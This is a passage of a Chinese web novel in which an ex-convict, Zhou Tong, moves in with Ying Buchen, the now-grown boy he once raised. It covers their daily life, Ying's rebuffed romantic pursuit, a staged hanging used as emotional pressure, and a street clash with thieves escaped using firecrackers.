还没拔呢,应不尘就咬上了周瞳的肩膀,兔子一样的眼神看着周瞳。
“没拔呢!”周瞳说。
应不尘呲着牙说,“我疼。”
像第一次待在一起的时候,在被子里,他怯怯地躲进周瞳的怀里,也是这样的眼睛,他说,“我冷。”
周瞳很快就回了神,说,“疼还要这样?”
“我怕你不知道。”应不尘说。
“不知道啥呀,”周瞳接着刚刚的道理说,“让你小小年纪的,就家遇巨变,你就是误会了,你就是觉得不能离开哥,你等时间长一点就好了,你就不能跟个驴一样了。”周瞳小心翼翼的把钉子拔出来,往远了扔,说,“明天去打破伤风,别折腾了,我都要累死了。”
黑暗中,俩人躺在一张床上。
应不尘睡得板板正正,说,“我去等你了,好几回。”
周瞳嗯了一声,说,“我在里面学知识呢,没空见你,里面都是人才。”
应不尘说,“在里面交朋友了吗?”
周瞳嫌弃地说,“跟你似的呢,也交不明白朋友。”
应不尘说,“我也想跟你交朋友。”
周瞳转过来,吓唬他,“当我朋友都得进监狱,你进啊?里面都是十恶不赦的人,吃小孩也有,杀亲爹也有。”
“我想过的,进去。”应不尘闭着眼睛,很平稳地说,“他们不让。”
“嗯,”周瞳自讨没
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趣,说,“没杀两个人啊?”
“杀不了,他力气太大了。”应不尘笑着说,“但是我想我肯定能找到你的,我要好好读书,给你好未来。”
“吹牛倒是像我了。”周瞳淡淡地说,“咱两,别弄在一起了,你过你的,我过我的,咱两一周一个月啥的,见一次就成。”
“我知道你早就知道了,你都是装的。”应不尘说,“你不看信,我就写在封面上了,不信你看不见。”
周瞳呼吸停了一秒,他确实见过,应不尘的字迹他是最清楚的,上面的寄件人从最开始是弟,两年后变成了友。
周瞳被应不尘拽着去了新春,俩城市隔着171公里。
买票的时候,售票员说,“呀,今天怎么有朋友?这么多年第一回呀。”
应不尘看了看周瞳,低着头拿钞票笑,说,“他跟我一起走了,以后不来了。”
售票员有点怪罪地对着周瞳说,“你咋忙这样,这孩子不大点就每个礼拜坐车这么老远来,终于见着你了。”
周瞳的心梗得有点儿不舒服,不想跟售票员说话,反过来问应不尘,“你这不是有钱吗?”
应不尘说,“冲马桶了,没冲下去,捡起来了。”
周瞳切了一声,跟他坐上了大巴车。
应不尘笑盈盈的,说,“回去要写很多作业。”
周瞳说,“你看我干什么,我会写作业啊?”
应不尘说,“你在边上,我安心。”
周瞳闭上眼睛佯装睡觉,“我看你没安好心。”
应不尘在说话,周瞳就抱着一个包睡觉了。
应不尘也忘了,那天他在车上看了周瞳多少次,就怕少看一眼,他就没了。
等他在睡醒的时候,就到了新春。
周瞳对这里很陌生,应不尘拎着周瞳的包,从车站走了一小段路,就来到了一个小区,现在都叫小区了,里面的房子有七八栋。
在三单元,爬楼梯上去,三楼。
应不尘掏出钥匙打开了门,就拿了三根香,对着老师奶奶的黑白照片拜了拜,插上了,又点了三根香,递给周瞳。
应不尘给周瞳倒了一杯水,又给自己倒了一杯,喝了一口,说,“奶奶去世之后,给我留了点钱,还有一些乱七八糟的,加上你的,买的这里,你的名字。”
“咱两跟吃绝户似的,”应不尘自嘲地接着说,“我猜你也会提前出来,去年过年就把租户腾走了,但是比我预计的还是快了两个月。我高兴。”
是一间朝阳的小公寓,窗明几净,有卫生间,有厨房,约摸五十来个平方,一室一厅,毛巾盖着沙发,电视,应不尘打开了窗户,说,“你家。”
周瞳从前的衣服,鞋子,墨镜,早就过时了,但是还是被细心的打理好。
“这里开始拆迁的时候,我感觉房子就要涨价了,这么多年,你也没个家,”应不尘说,“五万块钱。”
“还有一些给的房租,我都给你存起来了。”应不尘从抽屉里掏出一个存折,说,“没多少钱,拿着。”
“你二十不到的逼崽子,你咋还知道要买房子?”周瞳显然是没想到。
“我宁可我被关进去,不然出来你肯定就发达了。”应不尘笑着说,“不过我也攒了一点零花钱。”
“鬼话。”周瞳说着话,参观着房子,从前在半地下室的时候种的葱,洗脸的盆,破旧的桌子似乎是被修好了,连冰箱都还是原来那个,一打开就会吱呀响,周瞳不知道应不尘是怎么把这些东西背回来的。从前面粉厂的车棚烧了的时候,什么都没留下。
那个半地下室就成了周瞳在里面唯一的牵挂。
半地下室不通风,抽了烟半天散不掉。
“去洗澡,”应不尘说,“衣服都不要了,我给你买了新的,你穿的这个太冷了。不知道你什么时候出来,乱七八糟的,都买了一些。”
应不尘整理着衣服,说,“我估计你的喜好一时半会儿的也不会改,上了年纪应该还是臭美,这个,有亮片儿,时髦的都穿这个,”应不尘继续介绍,“这个领带,现在都有很多花色了,给你选的黄的,我们学校开家长会的时候,我见人带过,你带了肯定比他好看。他带,像个狗绳似的。”
“还有这个,现在都不是摩丝了,发胶,时兴的,”应不尘说,“这儿楼下就有一个弄头发的,很多人去洗头发,吹发型。”
“还有这个,”应不尘说,“这些内裤都是棉的,现在都不打香皂了,叫沐浴露,这里的超市不好买,我去省城数学赛的时候给你带的。”
“最后,”应不尘拉开了一个抽屉,说,“这些手表,当年,你给我看牙,把手表看没了,我每年都给你攒一块,你看,款式都是时兴的,特别贵的我也买不起,我帮同学做作业,在学校里卖东西,钱攒得慢。”
应不尘还是穿着那件当年周瞳讹来的运动服,本就是人家压得卖不掉的货,这么多年,都洗白,洗皱了。
“那你自己怎么总不穿厚衣服?”周瞳皱起眉毛,说,“还穿这种东西?”
话一说出口,周瞳的鼻子就酸了。
那年,他跟狱友打架,进了医务室,医务室的阿姨盯着他的名字看,对他说,“找你的那个小孩过年夜差点在外面冻死了,这么冷还穿个运动服,捞回来的时候都要没气了,你还不好好改造,孩子怎么办呢?”
38. 好好吃饭
应不尘这次却不怎么敏锐,说,“我喜欢。”
周瞳不说话了。
冰箱里没有什么东西,他们要上街去买菜。
街上跟从前不一样了,小汽车满大街的跑,帅小伙儿们搂着靓妹,下馆子成了常事。
应不尘跟周瞳来菜市场,应不尘说,“这个地方我买菜给你做饭方便。”
“你不是要读书吗?给我做鸡毛饭啊。”周瞳说,“你做那玩意儿能好吃?”
“凑合。”应不尘说,“你也没吃,你怎么就说我做饭不好吃。”
“你从前做的那些玩意儿,真的我都得谢谢你,人家进号子都吃不惯,你猜怎么着?”周瞳说,“里头厨子做饭跟你一个师傅教的,啥玩意儿都往锅里放,跟炼丹似的,我一吃就想乐。”
周瞳说完咂咂嘴感觉话唠得有点碎了,应不尘接着道,“每天吃饭都想我了。”
“你咋那么臭不要脸呢,骂你你听不出来。”周瞳说。
“听不出来。”应不尘说,“在里面都读什么书了。”
“你是我爹啊,你还考起我来了。”周瞳说,“你倒是跟我说说,你现在能考几分啊?”
“没多少分。”应不尘说。
“能上啥学校啊?”周瞳说,“能考个本科不?我在里面可听说了,重点大学出来的现在工作安家直接一票都给解决了。”
“01年的时候考大学生的有400多万,能上本科的只有百分之三十,今年本科率更低,到我高考的时候,估计难度还得加大。”应不尘说。
“那你考不上还说的屁啊。”周瞳说,“就是个完蛋玩意儿。”
“嗯,”应不尘说,“我考不考得上的概率,取决于你,我现在的成绩在上次会考在我们学校排名第八,全市排名二十三,你要是在,我考上的概率是100,你要是不在,那我得天南海北的找你去,没工夫读书,反正我的命是你捡回来的,以后啥样跟我也没关系,你说了算。”
周瞳真服了这个祖宗了,他敢打包票这个逼说到做到,从前咋没看出来这个逼这么梗呢?
“你特么的天天跑,你还读书了?你是不是蒙我呢?”周瞳说。
“不耽误,我坐在监狱外面看,那个执勤的小哥我都认识了,太冷了他让我进去。会面一个月才一次,多了人家也烦,我就离你近一点,我心里安逸。”应不尘说,“还要问啥?”
“没啥,叭叭叭的,谁说的过你。”周瞳说,“我吃辣的。”
“今天吃火锅。”应不尘说,“我高兴。”
小小的房子里,亮着暖黄色灯。
小桌子上放着一个插电的锅,这会儿正烧着开水,厨房里的应不尘炒了些辣椒,花椒,还有牛油块儿,葱被绑起来,也扔了进去,应不尘打开了电视,放着02年最火的电视剧,萧十一郎,萧十一郎喜欢人家的老婆,连城璧跟沈璧君都已经结婚了。
周瞳以前在号子里的时候,看得最多的就是新闻联播,每天就坐在那儿看,一看就想睡觉。
现在的电视剧比以前强了太多了,周瞳说,“这个畜生,居然喜欢别人的老婆,就算连城璧不能办那事儿,这沈璧君也是搞破鞋!”
周瞳电视看得很认真,就是情节看得乱七八糟的,应不尘在厨房里忙活,听到这里轻笑了一下。
锅底呛得周瞳咳嗽,他出来就变本加厉的抽烟,他窝在沙发上,头发还是很短,但是不知道为什么,这么多年,此刻应不尘的心感觉是结实的,跳动的。
周瞳吃饭的时候也不老实,为了看电视就要把火锅挪到沙发上去吃,自己蹲在沙发面前。
他手指也不碰下东西,光让应不尘给他夹,排骨,牛肉,芹菜,周瞳不挑食了,芹菜他从前都说有味儿不吃,这让应不尘难受地撇了撇嘴。
应不尘说,“好好吃饭,吃完了看。”
“你那个头发,弄得不三不四的,学校不管?”周瞳问,“明天就去剪了,这么长,遮着眼睛,你能看清楚黑板上的字?”
“诶。”应不尘应了一声。
“这才像话。”周瞳说。
萧十一郎跟沈璧君暗中来往,看得周瞳牙根痒痒,说,“这小子,小虎队的,我认识。唱那个什么,青苹果乐园嘛,”周瞳说,“我还会唱呢,人家那会儿都说我唱的好。”
应不尘说,“你以前去卡拉ok,也不让我跟啊,我没听过你唱。”
“大人去的地儿,跟你有什么关系,”周瞳说,“别瞎打听。”
“给别的女人唱吧。”应不尘说,“见着漂亮的说我是你弟弟,见着不好看的说我是你儿子。”
“我十岁生儿子啊?”周瞳说,“我咋那么牛逼呢。”
应不尘继续给周瞳夹菜,割鹿刀没开封,给周瞳急够呛,说,“喇一刀不就完事了吗,这给墨迹的。”
“你好好看电视,我在隔壁看书。”应不尘说,“出去就叫我,自己不行一个人出去。”应不尘收拾着桌子上碗筷,要端厨房去洗了。
“我咋不能出去啊?”周瞳说,“你这里也是号子啊?”
“不是。”应不尘说,“我见不着你,我心里慌。”
“跟个娘们似的,”周瞳说,“这里有吃有喝有住,还有这小房子,我上哪儿去,哪儿有这能享福。”
“真的?”应不尘问。
“当然真的了,”周瞳说,“我又不傻,好日子不过我跑出去流浪。”
应不尘在房间里读书,又折出来了,说,“回头我陪你去买手机,那个东西,你会喜欢。”
“那玩意儿你也买得起?”周瞳蹲在沙发上嗑瓜子,说,“我的老天爷,你可真牛。”
“买不起,明天跟人约了去卖血,卖了血给你买手机。”应不尘脸不红心不跳地说。
周瞳真的有点不认识他了,分辨不出来他说的哪一句是真话,哪一句是假话,要是在真的为了给周瞳买手机去卖血,这个虎逼好像还真的干得出来。
“不要了。”周瞳说,“有什么好的,我也不出去,我要先躺上两个月。”
应不尘的嘴角咧了一下,又进去看书了。
应不尘要去学校了,他已经七八天没来了,他家里的人忙,说没时间
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找他,他极少时间在家待着,把房间里都撒着面粉,跟中邪一样。
但是这次的应不尘回来先去班主任那道了歉,说自己去处理了一点私事,今天开始会好好读书了。
清晨八点多的时候,应不尘在窗户外看见了周瞳在学校门口乱晃,他摸着自己的脑袋,不敢靠近保安亭。
应不尘说要上厕所,就赶紧跑了出来。
“你咋来了?”应不尘惊喜的问。
周瞳摸摸鼻子,掏兜里掏出了一块红领巾,说,“你,你不戴这玩意儿,回头又罚站。”
“幸亏你给我拿了,不然我就要站在教室外面罚站听不了课了,”应不尘一把给已经泛白的红领巾带上了,“中午我回去找你吃饭。”
“你管你自己就行,”周瞳说,“你不在我还消停呢。”
周瞳走了。
三年级那会儿,就是故事刚开始的时候,小蝴蝶还在葫芦娃身边的时候,应不尘带上了红领巾,小学的时候,所有人都要带红领巾,这是烈士的鲜血染红的。
所以要是没戴就会特别扎眼,为了惩罚这些不戴红领巾的小孩儿,就会让他们站在外面听课。
那次应不尘没戴,但从前周瞳都会系在他的书包上,那时候的周瞳还在理发店当洗头仔。
周瞳忘了,应不尘被老师好好修理了一下,所以回家就难受的连火腿肠都吃不下。
周瞳问,“咋了?”
“没戴红领巾。”应不尘捂着脸不高兴,“小红旗没有了,都怪我。”
“这个东西,你跟老师说,红领巾在你心里嘛,”周瞳抱着他,晃着哄,“咱心里有就行了呀。”
“我今天听课都在外面站着,”应不尘说,“做作业小红花都没有拿到。”
“那你下次记着点呗,”周瞳说,“我给你多买几块,行不?”
高中早就不用戴红领巾了。
应不尘心里美,戴着红领巾塞在衣服里,脖子鼓起了一块。
那个车棚子里的红领巾,周瞳后来带去了面粉厂,而面粉厂都烧没了,应不尘就剩下了这块当时没来得及摘的红领巾。
应不尘长高了,也长开了,秀气,斯文,偶尔会有些特立独行,比如抽烟,弄头发,老师也想过要开除他,但是他除了这俩问题之外,他上课尊重老师,按时完成作业,从来也不拉帮结派,跟别说欺负其他同学等任何生活作风问题,而且据老师们听到的,他是个养子,爹不疼,娘常换,时常都给同学写作业,也帮其他同学考试作弊,帮住校生带早饭,背得满满一个包,出租课外读物,你说他挣这点零碎的钞票是没钱吧,他在周四五就开银行了,同学跟他借钱,要一点的利息,然后等周一来还上。
老师们总搞不懂他。
但是架不住成绩好,不作妖,各人有各人的难处,他家里那么有钱,一出事他爸就给人送礼。
人都说,这小子是老太太临终托孤,不让读书全家倒灶。
应不尘今天中午被安排了值日,别的同学已经帮忙好几次了。
等应不尘回家的时候,家里空无一人。
39. 你要死啊
应不尘慌了,周瞳难不成又走了,他连连下楼,要去找周瞳,跑得鞋子都要掉了。
他慌乱着,紧张着,觉得自己为什么要这么按捺不住,为什么么明知道他不愿意还是要这样?
应不尘感觉胸口喘不上气,根本不知道要去哪里找周瞳。
只要他身边,什么身份都行。
应不尘扶着墙,就听见了他的声音。
“我就住这楼上,我家里有高中生的,天天都要不补充这个维生命西的,你便宜一点啦。”
“是维生素c,”老板说,“你那个橘子几个c啊,你要买你买橙子啊,这个,这个便宜。”
“都烂了,”周瞳说,“你给我拿好的呗。”
“好的贵,”老板说,“你连买个香蕉都捡最便宜的,一把香蕉也就能买这一个进口橙子。”
“这玩意儿,c多吗?”周瞳问。
“一分钱一分货。”老板说。
应不尘的膝盖发软,瘪着嘴看周瞳。
“你这个东西,多钱一个啦?”周瞳摸着一个空调问。
在号子里的夏天时候,又闷又热,蚊子特别多,但是那时候的空调还是稀罕物件儿,周瞳只听狱警说过,说那东西会吹冷风,夏天特别舒服,只有大领导的办公室才有。
“八千。”电器店的老板娘做的都是有钱人的生意,这种瞎问不买的她最不乐意搭理。
周瞳暗自咂咂嘴,这玩意儿咋这么贵。
夏天要是太热了,应不尘读书得多分心。
周瞳又从店里退出来了,去到小超市,没一会儿,他买了点饼干跟方便面,出来的时候还骂了一句,“真黑心呢,卖这么贵。”
周瞳叼着根烟,抬起头,就看见了应不尘,眼睛红红的跟个棍似的杵在那。
“楞着干啥呢。”周瞳说。
“你出来干嘛了。”应不尘问。
“买菜啊,”周瞳说,“那你不回来,我还不活了啊?”
“嗯。”应不尘笑起来,眼尾都多了一条褶子。
“我刚刚怕你走了。”应不尘说。
“我走他妈哪儿去。”周瞳说,“你就好好读书呗。净他妈管闲事。”
被骂了,应不尘又舒服了,他说,“我膝盖疼的厉害,今天又打扫了卫生。”
“搁他妈家里都不扫地,出去可勤快了。”周瞳说,“老师说啥都听啊,老师放屁你也香。”
“我们说过看在奶奶的面上,不骂老师的。”应不尘说。
“也是,”周瞳说,“奶奶走的时候,难受不?”
“跟睡着了一样,”应不尘低着头说,“奶奶,不难受。”
“我问你难受不。”周瞳问。
“呜...”应不尘又要哭了,伏在周瞳的胸口,被推开了好几次还是黏来,不知道嗓子眼里塞了几根鸭脖,说不清话。
“多大孩子了,”周瞳说,“丢不丢人,叨叨啥呢。”
“我要是把你弄丢了,我才丢人。”应不尘吸着鼻涕多。
“赶紧走吧,”周瞳说,“都看你了。”
二人往居民楼里走。
“昨晚上你在外面的沙发睡觉?”应不尘问。
“我乐意睡,比床软。”周瞳说。
“我睡沙发,你睡床。”应不尘说。
“咋那么多事儿呢,睡哪儿不一样?”周瞳说。
应不尘进去做饭,周瞳站在旁边看,说,“你读书去呗,我弄点就行了。”
“你会吗?”应不尘问。
“把谁当傻逼呢,”周瞳说,“我中午就是自己弄面条吃了。”
“别总吃面条。”应不尘说,“你太瘦了。”
“管你自己吧。”周瞳说,“装得跟我奶似的。”
周瞳在厨房捣鼓了好一阵,差点没给锅炸了。
应不尘当听不着,任由他“诶!”“诶!”“冷静!”的对着锅里的鱼说话。
周瞳就不怎么下厨,就当年当洗头仔的时候做饭,比应不尘做的还难吃。
也有好吃的,鸡杂面,他们俩过年的时候吃的。
吃了饭,周瞳就催着应不尘去读书。
应不尘半晌都没听见动静,出来看,电视的音量被关得太低了,而周瞳的眼睛又不好,他正拿了个小板凳,贴着电视机看。
应不尘好想他,哪怕他就在自己的眼前。
“你这个沙发,八成被骗了,”周瞳埋怨道,“坐起来跟从前的歌舞厅里面的一样,崩崩紧的。”
“就是歌舞厅关门的时候我花了50买的。”应不尘说,“你以前说,歌舞厅的沙发睡觉舒服,你一躺,就睡着了,连家都不回。”
“说的我跟不管你死活似的。”周瞳说,“你喝西北风长大的呗。”
应不尘端着脸看电视,说,“瞳哥。”
“嗯?”周瞳顺着应,靠在沙发上。
“我爱你。”应不尘转过来对着周瞳,认真的说。
“滚你吗的,少发疯。”周瞳楞在原地,看着他的眼睛,直到烟都烫得他自己了,才想起来骂人,“你再这个熊样,我立马走。”
“知道了。”应不尘说,“我爱你。”
“我爱你吗你爱啊爱的,你知道啥啊你,”周瞳说,“毛长齐了吗?”
“我18岁了,我是成年人了,法律上我们没有任何关系,而且我从来都没有上过你的户口本,唯一的差距就是你比我大了快十岁。”应不尘说,“我怎么就不能爱你了?”
“你征求我同意了吗?”周瞳挠着自己的脑壳,连这孩子一把火烧了半个面粉厂他都没这么愁过,“大哥,咱俩的差距是十年,十年你知道是啥意思吗?”
“知道。”应不尘说,“十年呗。”
“神经,”周瞳说,“咱俩差得不是年纪。”
周瞳坐起来,说,“你现在小,还不懂,先别说我这辈子会不会结婚,要不要跟人一辈子拴在一起,首先,我得跟这个人首先她得向我发一箭,就是那个不穿衣服的娃娃,叫丘特比,是吧,他得来一箭,我心里有滋味了才行。”
“是丘比特。”应不尘说。
“你别管他是什么特,然后,我看着你,应不尘,真的,我没法把你当个朋友说实话,我印象里你就是会闯祸的脏娃娃,你这个,
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你叫我怎么看你?你问我,能不能把你当个男人,我跟你说,我不能,我看见你我就觉得我得呵护你,保护你,以后攒钱,给你结婚生孩子。”
“我不结婚。”应不尘说,“如果不是跟你的话。”
“你他妈又中邪是吧?我跟你说半天你听啥了?”周瞳说,“你读书都读狗肚子里去了?我之所以,我现在在这里,是我对你有未完的责任,我希望你考了大学,遇到喜欢的女同学,哦,不是,男同学我也尊重你,行吗?”
“怪我不好,”周瞳说,“让你没有健康的,好好的长大,我有责任,所以咱两就这样,好好的,咱就都不提这个事儿,等你长大了,你出去了你乐意回来看不看我的,都行,成吗?”
“我爱你。”应不尘说。
“我去你吗的。”周瞳一把把一盒烟都扔在了应不尘的头上,进去房间睡觉了。
***
周瞳连面对这种话都是进房间而不是摔门出去的。
应不尘咧着嘴角蹲在地上把烟一根根的捡起来,塞回盒子里,把打火机贴身藏着,就翘着脚在沙发上看书。
后半夜的周瞳就开始抓耳挠腮了。
这房间里没有烟,他烟瘾犯了。
外面那小子应该睡觉了,周瞳要出去偷烟。
但是茶几上没有烟,房间搜了一圈都没有,楼下的小卖部早就关门了。
要是一开灯,一开门,这小子又要抽风。
按照周瞳对应不尘的了解,八成烟被这混小子压在身下。
混小子睡着了,他睡着的时候就微微张着嘴唇。
周瞳已经很多年都没有看过应不尘睡觉的样子了。
跟他印象里的应不尘差得有点远。
印象里这小孩儿不长个,黢黑,瘦胳膊瘦腿的,现在怎么还长白了?难不成真是从前吃的太差劲了?
印象里都说小孩睡觉的时候就在长高,每天就往上拔,那会儿周瞳老担心应不尘长成个一米五八的小个子,现在怎么突然就跟钻了狗洞似的长高了?
印象里这个孩子的眼睛还是蛮大的,双眼皮,现在咋看起来眼睛还变小了?难道这眼睛不跟着脸一起长?
周瞳的坐在小凳子上看了一会儿,确认这小子是真睡着了,才偷偷摸摸上手拿烟。
打火机也露了半截出来。
周瞳正想要拿,应不尘睁开了眼睛,握住了他的手,说,“瞳哥,你偷东西。”
“我偷啥了。”周瞳被抓了现行,有点不好意思,说,“我拿我的东西!”
“你拿呗。”应不尘还把烟撂远了,去拿的时候又收回来,跟遛猴似的。
烟被他压在脑后,周瞳这回扑上去拿,被应不尘啵唧亲了一口。
“你要死啊!”周瞳的脸一下子就红了,蹦了起来,“你要死啊!”
“你以前亲过我那么多次,我不小了你还要我亲你,满足你当年的愿望,你喊啥?”应不尘把手搁在脑袋后面,轻描淡写地说。
“你这个狗崽子。”周瞳费劲地搓着自己的脸,连烟都不要了。
这他妈完蛋玩意儿!
***
40. 我觉得累
应不尘最近的举动让周瞳觉得,这小子越来越过分了。
2001年的年味儿来的早。
今年的应不尘不用再去宜华了,放假之后他就哪儿都不去,就蹲在家里看着周瞳。
“你老盯着我干啥?”周瞳有点受不了他。
“我就乐意看你。”应不尘捧着个脑袋。
“起开。”周瞳推了他一把,撂了件衣服就要下楼溜达。
应不尘买的这个房子有毛病,他买个一室一厅,就一张床,说的是让周瞳睡床,但是搞得周瞳都要锁门,因为一不锁门一睁眼就能看见他睡在旁边的地上,他那么乐意睡房间就让给他,周瞳出来睡沙发,但是一模一样,一睁眼就能看见他睡在沙发旁边的地上。
大冬天的,他就睡地上,盖着一个薄薄的毯子。
每天无所事事的也不行,周瞳想去找个班上,在一个五金店,帮别人卖东西,晚上就在他们那个阁楼上睡。
但是应不尘不行,周瞳一来这里,他白天就抱着一个保温杯提着一条折叠椅子坐在门口,晚上他就躺在外面睡觉。
“你要干啥?”周瞳忍了两天,忍不了了,喊道,“你没家啊?你就盯着我干啥你?”
应不尘也不恼,说,“我来买东西啊。”
“你买你妈个逼你买,”周瞳说,“你要买啥?来,你要买啥,草!”
“绳子,”应不尘比划着,“这么长,这么粗。”
周瞳从架子上翻出来一圈麻绳,说,“来,我送你了,你拿着东西赶紧滚。”
应不尘就站在门口,一声不吭就开始投绳子。
“你又干啥?”周瞳问。
“上吊,”应不尘说,“就在这里。”
“...”周瞳气得烟都点好几下点不着,抓了好几把头发说,“来,你上,你上。”
“急什么。”应不尘站在小凳子上投上绳子,打了好几个结。
拽了拽,感觉差不多了,真把脑袋放上去,一脚就踢了凳子!
周瞳的烟才点上,一抬头店门口真的吊上了,周瞳吓一哆嗦,赶紧上前去抱住了,“有病啊你!”
应不尘被弄了下来,那白色的粗绳还在摇摇晃晃。
“我真觉得你没意思,”周瞳说,“你觉得你拿死啊活啊的吓唬我,咱两就对味了吗?”
应不尘垂着眸子说,“我没办法。”
“世界上没办法的事多了,”周瞳说,“比如我是你哥这件事,就是没办法。”
周瞳回身走去,闭着眼睛躺在躺椅上,他歪在上面,点着额头,说,“都大人了,我三十了,我真没功夫跟你瞎闹。”
应不尘站在门口,也不知道看了周瞳多久。
五金店大过年的有人来上吊,都传是刚来的那个小伙子做生意欺负得人没办法,班还没上两天,周瞳就被劝退了。
他一个人走在新春的街上,他比任何人都希望应不尘在这高中别出任何事情,好好地把学上完,偏偏他又是这个性子,干啥事儿就死不罢休。
但是自己是他哥,算实数,他俩差了七八岁,要算虚岁,他俩都到十岁了。周瞳踢着一个罐子都在街上,外头冷了,但是早早地春联就贴上了,大红灯笼也亮起来,炒瓜子的炒栗子的,年货生意热火朝天。
他知道啥是爱吗?
他知道自己在干什么吗?
有些错能犯吗?
对面有人撞了周瞳一下,周瞳一把抓住了他的肩膀,说,“耗子吃顺板儿没够呢?”
耗子就是贼,是最低级的罪犯,顺板儿就是小贼进去要被围殴,基本能说出这种话的,都是进去过的。
耗子抬头看了一眼周瞳,一脸谄媚,说,“这不是孤儿老母等着过年呢么,对不住对不住。”说着就要走。
他怀里有个女士的手包。
周瞳抽了出来,说,“还给人去。”
耗子面露不悦,但是忍住了道,“找不着人了。”
“站上面去,”周瞳指着远处一个卖东西的台子,说,“问问就找着了。”
耗子说,“你觉着你自己挺正是么?”
周瞳插着兜,说,“还成。”
耗子说,“你不是这头的吧?”他后头,都是这新春的号子里出来的,这会儿正蹲在远处看着周瞳呢。
“那女的,哭那个,说自己医药费叫人偷了的。”周瞳指着远处一个哭泣的女人说,“你还她,这是买命钱。”
“你来新春,没走过场呢?”耗子问,“大过年的,得走一遭才痛快是不?”
他话里头很明显了,劳改出来的要混社会,他们会报团取暖,砸人家饭碗的都会被他们里面的老大教训一通。
“你废什么话呢,”周瞳说,“赶紧还人家去。”
耗子不多废话,掏出来一把带着寒光的小刀,身后的人逐渐围了上来。
“你他妈一个臭劳改的,”耗子道,“上谁的场子耍威风?”
周瞳诶了一声,叫了那个还在哭泣的女人,说,“你钱在这呢!”
女人跑了过来,看见手包就在耗子的手里,便要上去争夺。
耗子身后的人都围上来了,街上的人不知道怎么个情况都不敢靠近。
周瞳觉得现在得跑了,这么多人呢,他只能办到这儿了,大过年的在外面打一架可不值当,而且看架势还得自己挨揍。
周瞳倒退着,看见那女人见了自己的手包就哭喊着把钱还回来,身后的摩托车呜呜地拧着油门打着排气,周瞳眼睛下瞟,钻进个弄子就要跑路。
一伙儿小贼追了上来,周瞳蹿在弄子里就开跑。
真是要了命了,那女人一哭说是借的钱要去救他家老太太的命,周瞳就觉得是跟汪奶一样的老太太。不然他一个过街老鼠,才不上杆子去管人家的闲事。
但是一跑也完蛋了,几个爷们拎着个铁棍就把周瞳堵在弄子里了,那耗子也挣脱了女人现在出现在他身后。
“你不是能耐吗?”耗子吐了口口水,“今天不吃点磕板教不会你做人。”
“给我抱头蹲下!”耗子甩了根棍子,就将将指着周瞳的脑袋。
没地儿跑了,就被堵在墙角。
“不着急。”他们身后有个听起来稚嫩的声音。
“你又是什么货色,”耗子扭头道。
应不尘从身后墙根走来,看着就是个十多岁的少年。
“有你什么事儿?”周瞳说,“滚蛋!”
应不尘看着周瞳,说,“接你回家。”
“我用你接?”周瞳真是觉得这小子好像看不清楚形势,现在除了一块儿挨揍还有啥好果子吃吗?
应不尘说,“他坏了你们的好事,不过就是钱,钱我有。我给你们不就行了。”
他神情淡然,好似面前这帮混社会的狠人也耍不起来什么威风。
“你有几个钱?”耗子说,“你掏呀!”
一伙儿人看着应不尘,他从包里掏出了不少钞票,说,“他跟我走,堵在那,我不放心。”
应不尘边上有水井,深得不见底,应不尘低着头横着包,露出下面的砖头,说,“要是你们要来抢,我就扔下去。”
他们有七八个人,他们外面还有摩托车的,他俩就是跑也是逮得到的。
耗子用棍子抵着周瞳,让他站到应不尘那儿去。
周瞳一步步朝应不尘走来,他就在井口悬着包,站在那,感觉都不认识了。
周瞳一过来,应不尘把他护在身后,猛地就往弄堂的边上推,耗子他们要来夺包,没想到远处的春雷炮直勾勾的炸了过来,炸得周瞳的耳朵都痛,弄子里一片乌烟瘴气,啥也看不见,烟花擦过周瞳的后背,周瞳却被死死地护住,应不尘的手把周瞳抱在怀里,不知道是几十发或者更多的春雷就在这弄子里不断穿梭,一下一下的炸在耳边。
但是比春雷更响的是,应不尘在他耳边说,“别怕。”
应不尘在一片青烟里拽着周瞳跑,他们骑上摩托车拧着油门就要着来追他们,他们疯狂的叫喊,辱骂,但是很快,周瞳就听不见他们的声音了。
应不尘拉着周瞳还是在跑,跑过热闹的集市,跑过拥挤的人流,跑得周瞳都没有了力气,绕来拐去的,就到了小区的楼下。
周瞳挣了他的手,说,“你知道那帮人不是好东西,你还上来干什么?”
应不尘面无表情,说,“你在那,我就得去。”
“你去什么去。”周瞳说,“顶多打一顿,
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还能死人咋的?”
“打一顿?”应不尘微微皱眉,“我允许人家打你了?”
“咋,他们还得给你打报告啊?”周瞳拍拍脑袋,觉得有点过了,又砸吧嘴说,“弄着你咋整。”
“弄不着。”应不尘掏了钥匙进屋,让周瞳去洗把脸。
“你咋放的炮,给我耳朵都要震聋了。”周瞳说,“要是伤了人,你还得进去,傻逼!”
“进去怎么了?你能进去得,我就进去不得?”应不尘说,“我要是去报警,等他们慢慢吞吞来了,都得明天早上去。”
“甭跟我说这个。”周瞳拍拍脑子,真是让震懵了,“你咋放的炮。”
“我叫那个女人你往我边上走的时候就点引线,”应不尘说,“横着放呗,反正就那么大个弄子,炸起来就够了。”
“你这小子。”周瞳的耳朵还是嗡嗡的,说,“他们摩托车咋坏了?”
“排气管塞东西了。”应不尘说。
“你能不能学点好?”周瞳脱了脏棉袄,说,“有没有弄着哪儿了?”
应不尘把包一摘,破棉袄都烂了,飘着棉花,他背上露出一片伤口。
“烫着你了?”周瞳惊慌的去看,看完就呲牙,“你看看你这咋整的呀!你这皮都没个好了。”
“药膏买过了。”应不尘从兜里掏出来一根烫伤膏,说,“我涂不着。”
“你这你得去医院!”周瞳说,“我领你上医院去。”
“我不去。”应不尘往小凳子上一坐,“我死的活的跟你有什么关系?我巴不得往上面再倒俩勺金汤。”
伤口沾了屎尿,就容易烂。
周瞳说,“不去医院是吧?不去医院我就直接走呗,我在这干啥呢?反正我说话也没人听。”
“那帮人应该也被炸了,他们就在医院呢。” 应不尘跟没事儿人一样,把破棉袄扔进垃圾桶,说,“我又不傻,知道有炮我还让炸,我这个没啥事。”
周瞳觉得他说的也有几分道理,要是再遇上,估计就没这么简单了。
“我给你涂药。”周瞳说。
应不尘坐在小凳子上,冰凉的剪刀擦过他的脊背,火辣辣的疼现在才迎上来。
周瞳呲牙咧嘴的,说,“早知道我不管闲事了,对不住你。”
“我早看见那女人哭了。”应不尘说,“我就知道你要管,我还知道你会往哪儿跑。你跑进去的时候,我鞭炮的线都撸完缠好了。”
“你想干啥就干啥,”应不尘的背上涂上药膏,疼得他肩膀都颤抖,“我能给你擦屁股就擦,不能擦,揍我也不行揍你。”
“你咋这么梗呢,”周瞳说,“不过那会儿,我真以为要挨揍了。”
